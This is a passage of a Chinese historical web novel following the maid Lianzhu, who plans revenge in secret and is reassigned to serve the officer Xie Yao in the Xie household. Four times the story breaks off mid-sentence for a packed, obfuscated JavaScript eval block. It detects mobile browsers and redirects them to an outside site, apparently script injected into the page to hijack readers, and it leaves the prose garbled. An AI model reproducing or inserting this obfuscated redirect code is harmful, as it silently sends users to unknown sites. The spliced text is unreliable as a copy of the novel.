真正让他魂不守舍、舍不得的另有其人。 连珠想到谢培走前，再三嘱咐，又说到了平江安顿好就寄信回来。 他眼神缱绻，语意缠绵，虽避 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186608|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了人，但单独留她在房里说了好一会儿话，出来时惹得锦绣连看了她好几眼。 连珠心烦意乱，又想到谢培看着自己的目光，专注的、滚烫的，几乎是要把她刻印进心里。那眼神叫她头皮发麻，背脊僵直，只能死死低着头，盯着自己鞋尖上一小块褪色的绣花。 “没得生出这样的心思，真是平白添乱！”她在心里暗斥一句，将簪子放进匣子，扔进抽屉最里头，拿钥匙锁了，眼不见为净。 谢培一走，日子一下子变得漫长而清闲。 起初几日，还能因着收拾三少爷留下的书籍衣物、归置箱笼等事有些忙碌，待一切井井有条后，只剩下日复一日的洒扫、看守门户。 年节后，府里的应酬也一桩接一桩地来了。先是几位有头脸的乡绅携眷来访，接着又是谢渊官场上的同僚走动。宴客厅连着热闹了好些天，丝竹宴饮之声，隔着重重院落，都能隐约传到清月阁来。 因着来客不断，场面也大，宴客厅的下人有些支应不开。于是乎，锦绣便被几次三番地请回那边协理事务，每日等到晚间歇了席面才回。 院中清闲，连珠就同锦绣请了两日假，回家一趟。将自己攒下的绣活和金银一起拿了回去，换了二十两银票。谢培单给的两支簪子虽没卖掉，也去银楼里问了价，两支簪子加在一块，少说也要二百五十两。 统共算下来，她手头竟握着近三百两的巨款。 连珠心里清楚得很，延洲城里一户普通的五口之家，一年有二十两银子，便能过得温饱体面。三百两，足够这样的一家人，安安稳稳过上个十几年。 就算她自己赎身，五十两也顶天了。剩下的钱，足够她到京城，寻一个买凶报仇的狂人。 她重活这世已经两年，自己当年的面目都已经不清晰了，但谦哥儿倒在怀里的恨意犹在心间，那复仇的念头还如毒藤一般死死缠绕。 只是，她从来就不是莽撞行事的人。 上辈子大起大落、生死离别早教得她一个道理，微贱之人若要办成一件险事难于登天，必得谋定而后动，章法周全。 仇人远在京城，这是最棘手之处。 延洲与京城，相隔何止千里，消息闭塞，人海茫茫。要想知道那尤昀的下落，总要从他那做官的老子入手才好。 只是他老子任光禄寺丞的职位已是四五年前的事，如今也不知是否调任升迁。 凡此种种思虑良多，连珠还是决定给京城的溪青去一封信。她知道溪青略识几个字，自己也记得那尤家在京中的宅子，将那街巷门牌写上，只说那里住着自己一位姓王的远亲，请溪青帮忙打听打听。 总要得了那姓尤的消息，不叫自己到时白跑一趟京城。 29. 消息 收到溪青来信已是暮春三月，阶前的海棠也褪尽了残红。 连珠怕信寄到家中被靳掌柜拆开发现不妥，便让溪青寄送到谢府。信是被冬生亲送到连珠手上，他在二门外听说有清月阁的信，就自告奋勇地抢着要去送信。 午后的日头暖融融的，连珠正和兰儿在院里翻晒春日换下的厚褥子。 忽听得院门铜环轻响两声，两人抬头，便见冬生有些局促地站在那儿。 他今日换了身半新的青布短褂，头发也梳得格外整齐，只是额角微微见汗。见连珠望来，脸上腾地一红，眼神躲闪了一下，又强自镇定。 他虽听柱子说了三少爷心悦连珠的闲话，但到底只是传言，又看三少爷远赴平江读书去了，想那传言真的只是传言，心思便活泛起来。 兰儿见来的是冬生，脸上露出一丝坏笑，胳膊肘顶了连珠的侧腰，催她过去。 连珠瞪她一眼，理了衣袖快步过去。才走到门口就见冬生直愣愣地看她，这呆傻的模样叫连珠忍不住笑了出来。 这一笑让冬生心跳加快，手里竟不自觉地将信都攥紧了。 “冬生哥来可是有事？”连珠见他不说话，只顾着脸红，装作没看见地打开话头。 “哦...是，二门外有你的信，从京城来的。”冬生低头把信递去，才看见那封信早被自己揉得如咸菜一般，脸又涨成猪肝色，赶紧将信抚平，“我恰巧路过，就讨了这差事给你送进来。” 京里来信，连珠心下一紧，接过那封信。 “有劳你特意跑一趟。”连珠谢他。 冬生哪用她谢，憋了半天只有一句：“顺路的事。”说罢，竟有些同手同脚地转身，几乎是落荒而逃。 兰儿在后头抻着脑袋看了半天的戏，终于忍不住笑出声来，两步赶到连珠身边冲她挤眉弄眼：“瞧！我上次同你说，还不信！” 连珠不是不信，谢培还避着丫头瞒一瞒，冬生和兰儿一样都是直肠子，她能看出谢培的心思，何尝看不出冬生的心思。 她既不想嫁人，那这心思她就不会去理。 “看来这院里是太闲了，叫你多话！改日大夫人分了你重活，看你还有没有这些话。”连珠说罢，拿了信回房去看。 信口封了浆糊，裁刀一划，里头是五六张信纸。 连珠略过开头的寒暄，直接往后看。 “姐姐所托之事，我一直记在心上。托了舅舅打探，那家从未住过姓王的人家，如今主人是位姓尤的官老爷。不知姐姐可还有你那亲眷的线索，我再帮着问问。” 那尤昀一家还住在原处，还好。 目标钉死了，心反而定了下来。 连珠长舒一口气，继续往后看去。溪青不知是不是太久和她没见，要说得话很多，后头几页纸零零碎碎都写得是京中谢府的事。 “回京之后，我跟着泉黛、涧蓝分到二少爷院里，之后二少爷出府，两位姐姐跟着不在本宅...” 溪青写了几句无聊孤寂的闲话，又写到了谢垚。 “二少爷官运亨通，年前才任兵部主事，又在二月二跟随圣上出巡，调进什么骁骑营，拿住了几个贼子，已经是升作了骁骑校尉。虽然老爷还是生二少爷的气，但私下跟着新夫人已经是不住口地夸了。” “对了，新夫人同二夫人是表姐妹，性情一样的和顺，因我会做些姐姐教的汤水，被拨去给夫人煮汤。不光是夫人要临盆，二小姐也到了相看人家的年纪，听说延州大小姐也要来京小住，姐姐你可会跟着过来？” 溪青写到这里，似乎也觉得差不多了，添补几句匆匆结尾。 连珠看完，又提笔写了回信，这封信再不提尤家任何事。便是之后自己报仇被抓，也万不能因此连累上溪青。 她写了几句，又想到溪青所写大小姐谢玉棠要去京中小住。应该也同谢玉柯一般到了要议亲的年纪，延州城中富贵人多，但也比不过京城。 天子脚下，勋贵云集，官宦如林。 谢家二房如今在京城官场正是上升之势，若能将谢玉棠嫁入京城，寻个门当户对的官宦人家，或是攀附上更高一层的勋贵门第也不是不能。 连珠记得那位大小姐样貌端丽可爱，举止优雅得体，倒是和她那位大哥是南辕北辙的性子。 连珠想着，又看到溪青写得“二少爷官运亨通”，她前世的丈夫是幼官舍人营的军官，故而对京师三大营稍有了解。五军营以步兵为主，骁骑营主力则为骑兵，神机营则配备了火铳、火炮，为火器部队。 京师骁骑营内部又分设二十四营，在京中承担守城、救火、护卫圣上等职责。驻防部队则镇守战略要地，战时抽调参战。 骁骑校尉是正六品的武官，领兵五十人，已经是不小的权力。 连珠回忆起静修斋那孤鹤一般的身影，他竟也弃笔从戎，入了兵营行伍。 真是世事无常。 连珠轻摇了摇头，长舒一口气，将那封信继续写完。 又是半个多月过去，延洲城来了一场倒春寒，谢府却因着接连两桩喜事，透着一股不寻常的热闹。 头一桩是谢坤终于考中了秀才。名次虽只在榜尾徘徊，可对袁英华而言，总算迈过了科举的第一道门槛，摘掉了白身的帽子，这便是天大的安慰。 消息传来那日，袁英华喜形于色，连素日端持的架子都松了三分，当即吩咐重重赏了谢坤身边伺候的人。 这喜气尚未散尽，第二桩喜讯便接踵而至。大奶奶袁荣娘诊出了身孕，已满三月。 就在这喜气洋洋中，另一件事也提上了日程。大小姐谢玉棠和三小姐谢玉槿，不日便要启程前往京城二叔府中小住。两个女孩儿都是头一回出远门，原该由大夫人袁英华亲自送去，可偏巧袁荣娘这胎怀相不算顶稳，前些日子还微微见了些红，需得静养。 袁英华权衡再三，终究放不下这一胎。于是这护送的重任，便落到了三夫人王素波肩上。 谢渊与袁英华细细商议了行程，又因要带去给京城二房及各路亲朋的特产礼物诸多。随行的除了主子们贴身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192640|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的嬷嬷丫鬟，又特意添了十四个稳当的粗使婆子、二十六个家丁，再加上伺候的小丫头，林林总总，仆从丫鬟竟去了百余人。 兰儿站在院门口晃着腰带上的络子，眼神无不艳羡：“桂兰居和菊香庭的丫鬟除了那洒扫的粗使，有一个算一个全跟着去了京城。那可是京城啊！我还没出过延州呢！” 兰儿望了一会儿，又绕到连珠身边，帮着她绕了两匝线团，声音里满是羡慕：“听说京城街上铺的石板都比咱们延州的亮堂，卖糖人的都能捏出仙宫娘娘的样式来！” 连珠在京城生活了三十多年，并不似她那般向往，只附和道：“是啊，京城定然是极繁华的。” “何止是繁华！”兰儿转过身，眼睛亮晶晶的，“听说京里的贵人府上，连丫鬟穿的衣裳料子，戴的绢花，都比咱们这儿时新好看。若能去见识见识，也不枉...” 她话说到一半，又泄了气，撅起嘴，“可惜，这样的好事，怎么也轮不到咱们清月阁。” “你也说了是桂兰居和菊香庭的丫鬟，那都是大小姐、三小姐身边的人，自然轮不到我们。” 兰儿也知她说得是实话，叹了口气，连晚饭都不香了。 府里的人空了一大半，还未得几日清静，又来了消息。 消息是随着一道盖着兵部与工部联合钤印的公文到的延州。 当今圣上不知怎的，忽然想起延州城郊二十里外栖云山上那座前朝留下的残破佛寺，下旨责令修缮。 这差事不算顶要紧，却颇繁琐。毕竟是御笔亲点，盯着进度的皇差，油水未必厚，干系却不小。 工部与内府监牵头，却需调拨兵马护卫建材、弹压民夫、维持秩序。修寺监理，圣上亲自点明新晋的骁骑校尉谢垚年轻干练，可堪此任。 于是，一道指令便层层下来，命谢垚领一百兵卒，即日开赴延洲，协理佛寺修缮护卫事宜，并暂归地方调遣。 消息传到谢府时，谢渊正在书房。 闻听此言，他先是诧异，随即眉头微锁沉吟起来。 谢垚这孩子执意弃文从武，与父亲闹得近乎决裂，他是知道的。心中虽不赞同，但如今看他在兵部站稳脚跟，得了实缺，圣眷如何虽不清楚，但能被点中经办皇家差事，本身已是一种亲近的信号。 于公于私，这都不是坏事。 只是这差事落到延州，不免就要来家小住。这位侄儿的脾性，并非易与之人。想到此，他便唤来袁英华，将这事郑重交代下去。 袁英华虽溺爱儿子，但也清楚知道谢坤并非读书的料。文路不通，走武路也不失为一条道。 本朝虽重文，但边疆不靖，武职升迁有时反而比文官更迅捷。即便不能如谢垚那般在京畿要害之地，外放做个武官，手握些实权，也比在延洲做个无所事事的纨绔强。 若是谢垚能帮着引荐说不得还真能提携着冒出头来。 这念头一起，便难按下。袁英华打定主意要讨好这位侄儿，当即便让手底下人将二房空置的院落打扫齐整。 30. 你可得小心 京师人马启程，谢湛就派人加急送了信来。 袁英华得了信，精神一振。 等到人马抵达延州城外，一面吩咐厨房备下精细宴席，一面又特意叫来谢坤，耳提面命：“你二弟难得回来，又是有头脸的官身，你需得恭敬些，莫要失了礼数。我已安排来金与你同去城门迎接，务必显得咱们诚意。” 府里丫鬟一半跟着三夫人去了京城，松风苑大奶奶跟前又离不得人。盘来算去锦绣手下三个丫头最得空闲，便让她又带了两个来帮衬。 宴客厅四角描金三足烛台和桌案上的铜鎏金嵌宝的和田玉烛台上都点了灯，恍如白昼。入门处搬了黑漆点翠万花献瑞围屏做隔，席面上铺猩红织金毡布，鎏金的碗碟杯箸依次排放，正中摆墨地彩瓷方瓶插四色牡丹。 连珠和兰儿被分派在次席附近传菜，两人垂手立在门边，只等外头的婆子用大托盘将菜端到门口，再由她们这样的小丫鬟接手。 夜已擦黑，门房处还没动静，袁英华执掌宴席早就在厅里打点，便是三老爷谢浔放衙回府也换了常服提前到了。 他今日一身软绸长衫，捏一柄角雕折扇，一下一下轻轻敲着另一只手的掌心。 那双细长风流的眸子带着几分漫不经心的玩味，缓缓扫视着厅中穿梭往来的丫鬟。 王素波一去京城，谢浔更是无人管束，自然愈加肆无忌惮。 门外春蜓绕过屏风，款步走到袁英华身边耳语几句。淡青色的衣料勾勒出少女纤细玲珑的腰身，叫谢浔视线落在她的胸前。 袁英华注意到谢浔赤/裸/裸的目光，眉头微皱，身子前倾挡住他的视线。 她早知这位三老爷风流成性，平日在外头眠花宿柳也就罢了，要是把主意打到她的丫鬟身上，是万万不许的。 “三叔，初夏风大，您这扇子...还是收一收的好，仔细伤身着凉。”袁英华斜睨他，又一闪而过嫌恶神情，移开目光。 谢浔如何不懂她话中深意，也不计较，只是将扇子“唰”地合上，满不在乎地笑笑：“大嫂说得是。只是咱们这侄子架子还真大，都这会儿还不见人影。” 袁英华也等得心焦，嘴里却道：“许是有什么事情耽搁了。” 厅中的气氛逐渐凝滞，等谢渊也遣人问了两回，门房的小厮才疾步跑到门口气喘吁吁地回话：“太太，大少爷、二少爷到府了！” 话音未落，厅中人的目光齐刷刷投向门口。 迈步先进的是谢坤，跟在他身后那人一步踏入灯火通明的厅堂，整个宴客厅似乎都静了一瞬。 那个在二夫人丧礼上苍白清瘦的少年身影已然模糊。眼前之人，身量竟比谢坤还要高出一个头，肩背宽阔挺直，将一身寻常箭袖常服撑得利落英挺。 连珠只抬眸看了一眼，便震惊于他一年半的时间变化如此之大。 猝不及防地，目光与那道扫视过全场的视线有了一瞬极短的交错。 那目光锐利如鹰隼，冷静深邃，在她脸上未作停留便已移开。可他眼神危险，与府中任何一位爷都不同，让连珠心头莫名一悸，下意识地攥紧了垂在身侧的指尖。 袁英华见谢垚如此英武，心中又喜又憎，只恨自己的孩儿不是这般人才。 谢垚对上三位长辈，上前几步，深深一揖：“侄儿谢垚，拜见伯父伯母。” “来了就好，无需多礼，快坐吧。” 谢渊指了位置，见他撩袍落座，又多问一句：“不是说早就到了城外，怎么这么晚才到？” “栖云山征招的丁夫突生事端，我随上官处置，这才耽搁了行程。” “哦？可还要紧？” “不过是几个丁夫偷着吃酒闹了起来，不是大事。” 袁英华见他形容威风，露出笑容顺着话头道：“公事为大，一家子亲戚等等无妨。” 她说罢，便吩咐上菜。 早备好热着的菜式流水般呈上，开胃的攒盒、热炒大菜、老汤小点，比之年节也不差什么。 连珠跟着端了芙蓉鸡片上桌，头垂得厉害，眼神只管落在手中托盘上，还是能感觉到席间有目光朝她投来。 她不敢细想是谁在看她，放了菜就紧跟着前头的人又退了回去。 席间吃了两盅酒，就听谢浔开口问道：“二郎这次领差，可在府里常住？” 谢垚放下筷箸道：“多谢三叔关心。此次公干专司皇寺修缮监看之责，并无旁务。大抵一月里，能有半月在府中落脚。” 袁英华闻言，心思又动，忙接口道：“修缮寺庙少不得要一两年之久。既是要在府里住上些日子，可带了足够的衣裳用物？你们常住京城，这院里的东西怕都不全了。” “常用的物件，侄儿已让身边两个丫鬟从京城搭船送来，不日便到。” “只带两个丫鬟？”袁英华道，“你虽不是日日在府中住着，但两个丫鬟未免也太少了些。初来乍到，又要打理你屋里一应事务，怕是忙不过来。你身边总不能没个府里用惯的人伺候着。” 谢渊也点了点头：“你伯母说得是，既在府中居住，起居饮食总需妥帖人照应。” 他说着又转向袁英华：“你回头斟酌着，拨几个个稳重机灵的过去。不要那些刚进府没调教好的，要府里用惯的知事的。” “这是自然。” 两人如此安排，谢垚也不推拒，他便是回府来住，白日也是诸多事宜忙碌。下人丫鬟多就多用，少就少用，已是习惯了。 席上一派祥和，笑语如沸，独谢坤心中不爽快。他在城门等了两个时辰，没得半句安慰，人人只顾着他的好二弟，众星捧月将他抬到天上去。 走了个谢培，又来了个谢垚，真就是老天跟他过不去。 谢坤连喝了三杯酒，余光瞥见袁英华朝他使了眼色，心中一凛，立马将脸上的妒色隐去。 等宴席散了，谢垚只带了顺心顺意两个小厮回他那卧云居去。 主子们吃罢，留了一桌的残羹等着收拾，兰儿和连珠挤在一处，就听有宴客厅的丫头蹲着擦地小声嘀咕。 “原还道大少爷生得威严，气势足，不敢多看。可刚刚瞧着二少爷竟比戏文里的将军还精神！” “听说在兵部手下管着上千号人呢！那可都是真刀真枪的军汉，能管住那些人，得多厉害？” 连珠听她们越说越没边，忍不住抿嘴笑起来。 兰儿见她绷着脸憋笑，一胳膊肘抵到她腰侧：“你美什么呢？可也是看那二少爷俊俏威风，心里高兴？” “胡说八道。”连珠哪料兰儿会想到这上头去，斜了她一眼，抱着木盆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200315|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往门口去。 兰儿年岁大了，愈发爱在这上头开玩笑，等收拾完，两人往清月阁走时，又旧事重提，说起闲话来。 “哎，少爷们生得再好，也是不相干。咱们这身份顶天了也就是个姨娘，只是这姨娘的日子也不好过，且看大少爷娶亲之后，松风苑那几位就知了。” 兰儿唉声叹气这一番话，连珠如何不知。春蝶是大夫人跟前喜和嬷嬷的侄女，大奶奶还留了两分脸面。其余的莲香惹怒了大奶奶，害她动了胎气被打发出府。紫笋顶嘴被罚跪在院中两个时辰，害了风寒，一命呜呼。 更别提玉露都没熬到谢坤娶亲。 连珠被她挽着手，小声道：“你既知道，方才还拿我打趣！” “嘿嘿。”兰儿知道连珠脾性虽好，但却不喜在这事上玩笑，只好打岔道，“方才你端菜上桌，我瞧着三老爷乌眼鸡似的盯着你。我听说三老爷风流着呢，他院里的丫头没一个不沾手的...” “真的！？”连珠被兰儿的话吓了一跳，她前时就觉得有人盯得她脖颈发寒，没想到竟是三老爷。 “真的，我瞧得真真的，连菜都不吃了，就顾着看你。你可得小心着。” 连珠跟着兰儿走了几步，已觉得周身冷了下来。身旁兰儿还在说些什么，她已是听不大清了，心头怕叫那好色风流的谢浔看上，另生出别的事端来。 等入了清月阁，拨水清面冷静下来。连珠才想自己好歹是谢培的丫鬟，谢浔再荒唐，也是长辈。一个长辈，手伸得再长，明面上总不好直接向隔房侄儿院里讨要丫鬟，那成什么体统？ 只是近日少出门就是了，那三老爷不是个长情的，说不得又见了好的，就把她丢到脑后了。 连珠自己一番打算，却不知暮香堂里袁英华对着谢渊三两句话便算计着将她安排了。 暮香堂里，谢渊接了袁英华递来的茶，皱着眉头：“怎么，几个丫鬟还匀不出来？” “老爷，您也说了要知情识趣、懂事周全的，府里拢共就那么些人，京城去了一拨，荣娘的跟前又不能离人，府里各处人手都紧...” “这么大个府，还择不出人来？” “倒也有合适的，只是...” 她说话说一半，叫谢渊听得心烦，打断道：“有话就说。” 袁英华脸上掠过一丝为难：“如今有得用的丫鬟也只有清月阁了，培儿明年才回来，他那院子里如今最是清闲，丫鬟婆子都是现成的，还有两个是在静修斋守过灵，都是在府里伺候久了的。” 谢渊闻言，思量片刻，摆了摆手：“无妨，培儿既不在，那些人闲着也是闲着。就按你说的，从清月阁拨两个过去伺候，留下一两个看屋即可。” 他说完，又想了想道：“老太太跟前的锦绣就别让她过去了，万一培儿回来，他院里总要个掌事的。” 袁英华闻言称是，扭身却露出个得意的笑。 谢培院里那个叫连珠的几次三番坏了她的事，听说还极得谢培的意。那丫头深居简出，要寻个错打杀了实要费些力气，倒不如趁这机会送到谢垚那里，真是再好不过。 总得在这些小事上惹了那崽子不高兴，自己才高兴了。 她缓缓饮了一口茶，压下唇边的冷笑，再转过身时脸上已恢复了一贯的端和。 31. 泉黛 连珠和青芝被拨到卧云居已有两日。 这卧云居是二房中心处的宅院，占地颇大，院墙内外繁多树木，同住在园中一般。 院门两侧各种一棵金桂，称是双桂流芳。院内有椿树、萱草、蕙兰、丹桂，又叫兰桂齐芳、椿萱并茂。除开树木花篱，院东侧还有水榭曲桥，桥边几株遒劲的老松，风过时松涛阵阵，确有些卧云的意境。 除了她们二人，一同派来的还有原先在茶水房当差的桂芳与菊芳，都是十七八岁的年纪，手脚麻利。四人搭配着做些洒扫、擦拭、归置器物的活计，倒也相安无事。 只是自她们进来已有七八日，还未见过卧云居的主子。听谢垚身边的顺心说二少爷刚来事多，只在栖云山值宿。 青芝对能到卧云居来侍奉很是兴奋，水榭里，她倚着连珠一同擦洗柜橱，咂舌赞道：“原先咱们在清月阁不知道，二房不在延洲长住，还用着这样好的柜橱，紫檀框架不说，还嵌得是金丝楠面！” 她擦着擦着顺着窗外望去，正好可见风吹一池水，荷向两边波。上好的景致让青芝又续道：“卧云居的景也好，看窗外这两株松树，便是东边园子里都没这么粗的。” 她初进清月阁就望着能换个好去处，可她心高人却懒，待着待着屁股生了根，也就惯了。现下到了卧云居，心思又活泛起来，三少爷虽说成了秀才，但还没中举，等到做官出息也不知是何年月。 二少爷就不同了，正六品的官身，又是二房独子。 青芝在卧云居待了几日，竟是不想走了，对着连珠也少了在清月阁的恭维敬重。反正她是想要留在这卧云居的，三少爷看不看中连珠，于她干系倒也不大。从前不好说的话，她也不管连珠耐不耐烦听，一股脑地说出来。 连珠对到卧云居伺候，还是同当初到静修斋一般的想法。她总是要赎身出府的，只要不乱了这个计划，在谢府哪个院里都是一样。不过偶尔想起谢培，心里还是略有波动，想起他前日寄回的一封信。 青芝摸着柜门拉手上的金漆，还要再说，就听见外头桂芳隔着曲桥叫：“连珠青芝，京里的人到了，带了十几口箱笼，车马接了停在侧门，让咱们赶紧帮着卸车归置呢！” 两人立时应声，等到了侧门才发现这京里来人不过只有两个丫鬟，年纪都在二十上下，穿着素净那料子却讲究。 见来了人，那头簪三支素银簪的清秀丫鬟目光扫过几人，待到连珠那儿面色已经冷了下来。 领着几人的顺心眼见着和她是熟的，上前一步亲近道：“泉黛姐姐、涧蓝姐姐辛苦，这几位是大老爷大太太拨到卧云居的姐姐。” 泉黛对上顺心才牵起嘴角，略点了头先问：“少爷呢？” “还在栖云山呢！”顺心长得一张笑脸，平日同连珠她们相处也不错，见泉黛晾着她们，又道，“不如先让姐姐们把东西带回去，我瞧着这么多箱子，理起来也要费不少时间。” 泉黛这才道：“那就先拿回去，可仔细着，里头几个箱子都是贵重东西，别叫碰坏了。到了也别打开，你们不知里面是什么，再弄乱了。” 涧蓝见她这句话说罢，来的那四个丫头面上都有些不好，出来圆场道：“麻烦诸位了，我和泉黛初来乍到，不熟悉府中房舍格局，还要请姐妹们指点着些。” 话毕，顺心一边引着两人往卧云居走，一边指挥着粗使仆妇小心抬运箱笼。 连珠和青芝几人跟在后面，帮着扶稳箱笼，或是提些轻便的包袱。 青芝知道京里来的这两位是先头那位二夫人的贴身丫鬟，有头有脸，身份自是不一般的。她原本也打算恭敬讨好着，可方才看那泉黛冷口冷面、眼高于顶，实在不是个好相与的人。 她偷摸撇嘴心道，有什么可神气的，不就是京里来的，说到底，也一样是伺候人的丫头。只是面上仍旧擒着一张笑脸，不露半分心事。 等到了卧云居，泉黛和涧蓝将正房、书房、厢房都看了一遍，而后就自若地安排起来。 “这两箱是少爷常看的书和公文，抬到书房柜边，稍后我来整理。” “这箱是四季常服，按季节分开放入卧房西侧那个黄花梨顶箱柜，另外那个是外出见客穿的。” “这几口小箱子是文房器具，先放在书房外间。” “被褥帐幔等物需先晾晒过才能用，今日天色好，劳烦...”泉黛看了眼连珠，听她自报了名字，上下打量一回才道，“那就劳烦你撑竿晒一晒，重新换上。” 卧云居少有这么忙碌，等到掌灯时分，东西才收拾齐整。 因着是到延洲的第一餐，泉黛和涧蓝自掏了银钱请大厨房添了菜。她们是一等丫鬟，这一段饭也是对下施恩。 饭菜摆开，两人招呼了连珠四人，桌上仍是泉黛坐主位。 连珠从前听溪青说过泉黛是二夫人奶嬷嬷的幺女，自小就常在二夫人身边，情谊非同一般，地位堪比副小姐。如今看来，果然是这样。 几人落坐拘谨，就听泉黛笑道：“你们今日辛苦，多吃些。” 她话虽如此，但目光还是从几人身上掠过，自心底透出一股高人一等的骄气。 涧蓝见无人动作，半起身张罗道：“怎么都光看着，动筷吧，不用客气。” 气氛因涧蓝舀汤加菜的动作略略松泛。 泉黛慢条斯理，吃得倒是不多。山高水长，一路上奔波，她没有胃口。更何况一来就瞧见卧云居里多了个妖娆娇媚的，更叫她胸口堵了一团气，不爽利。 她拿了茶碗，眼睛却盯着埋头吃菜的四个丫头。 两个芳怯生生的，瞧着倒是老实。那眯缝眼的青芝眼珠乱飘，便知她算不得安分。 还有... 她状似无意地看向连珠，见她低头只顾吃饭，明明安分，却总觉得她长相狐媚定要憋出什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209041|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坏来。 一顿饭吃得不温不火，泉黛让连珠去刷洗碗筷，又吩咐了菊芳、桂芳去收拾厢房。 青芝见没有自己的事，以为侥幸躲过，刚要退步出去，却被泉黛忽然叫住。 “青芝。” 青芝从小厨房出来，想到泉黛刚问的一番话，心中暗道，容貌出众就是容易招来注目，瞧瞧这才刚来，就盯上连珠了。 她白日想着要留在卧云居，可见泉黛为人古怪，又念着留一条回清月阁的后路，说得都是连珠的好话。 只是也奇怪，这泉黛年纪大了，容色也一般，就算没有连珠，那二少爷想必也看不上她。她这般着急上火，吃得哪门子醋？ 屋内，涧蓝看了泉黛一眼，知她心里想的着什么，忍不住劝道：“不过是个有几分姿色的丫鬟，你何必如此。” “你知道什么，少爷如今还在孝里，若跟前多个颜色好、心思歪的丫头，闹出些不像样的事传扬出去，少爷的名声还要不要了！咱们在京里见到的听到的还少吗？多少人家就是坏在这些狐媚子手里。” “那你刚也问过了，青芝不是说她是个老实的，她原在三少爷跟前...” “三少爷如何能和咱们少爷比！”泉黛睨她一眼，不悦道，“谁知她会不会看着咱们少爷前程更好，就动了攀附的念头？要是少爷被这起子有心人寻了空子，咱们这些身边伺候的，就是万死也难辞其咎！” 她说得冠冕堂皇，一副全然为谢垚考虑的模样，涧蓝却知她是另有盘算。 “你若这么想倒罢了，只要不是为那薛小姐就好。” 泉黛听她说这话，眉尾一扬，提了声音道：“你这话什么意思！那薛小姐好歹是夫人看中的大家闺秀，又是知根知底的亲戚，我为她难道不是为着少爷？” 她越说越觉得自己有理。 涧蓝看着她微微涨红的脸，心里却暗暗叹气。 她何尝不知道泉黛的心思？夫人走后，二少爷不亲她们，寻常也只带着顺心顺意，泉黛骤然失了地位，难免失落。 薛小姐是夫人远亲不假，幼年时也口头玩笑着说了亲，但哪就像泉黛说得那么近了。 恐是那薛馥芬对着泉黛向来姐姐长姐姐短地捧着，话语亲热，私下更是许了不少好处。她早将薛馥芬视作了未来主母自觉有责任护着，更盼薛馥芬能早日过门，为了讨少爷的欢心再来拉拢，好叫她再揽大权。若是院里多了个少爷喜欢的女人，她就怕自己更成了外人了。 泉黛头脑不清醒，自己却还得提点着：“少爷是少爷，她是她，咱们还是分清些好。你要知道，咱们俩可是少爷的丫鬟。” 泉黛张了张嘴想反驳，又不知从何说起，心里却觉得自己没错，嘴硬道：“小厨房缺人，不是说那连珠会煮汤么，就让她去管着吧。” 泉黛打定了主意不要连珠在谢垚跟前晃荡，一句话就定了连珠在卧云居的活计。 32. 急赤白脸地闯进来 泉黛和涧蓝歇了两日，总算是一扫连日奔波的疲累。 京里带来的二少爷的贴身物什，泉黛不肯假手于人，必得亲自理了才算。这日，她刚将书架一层塞满，拿了鸵羽掸子去掸灰，就听见门口有厚靴踏青石的脚步声。 她脸上一喜，放了掸子快步迎出去。 谢垚刚从栖云山骑马下来，一身紫梅花罗窄袖衫，腰系涂金束带，横跨佩刀。头上交角幞头，被额角的汗沁湿半幅，靴子上更是泥泞不堪。在山上几日风吹日晒，面皮晒得黝黑微光，更显轮廓硬朗、眉宇清亮。 “少爷回来了！”泉黛迎上去，手中裹的帕子抬起就想要替他拭汗。 谢垚提着马鞭，一挥手不必她费心，张口道：“什么时候到的？一路上可还顺利。” 泉黛听他语带关切，笑着回道：“一路上都好，劳少爷挂心。” 她跟在谢垚后头进了正房，又问：“少爷辛苦，今儿回来可要歇在府里？” 谢垚“嗯”了一声，顺手将马鞭放在桌上：“先叫人抬水来，我洗个澡，换身衣裳。一会儿还要去城门口接营缮司来的官员，晚上在城里设宴，不在府里用饭。” “是，奴婢这就让人准备。”泉黛应得干脆，立刻转身吩咐下去。 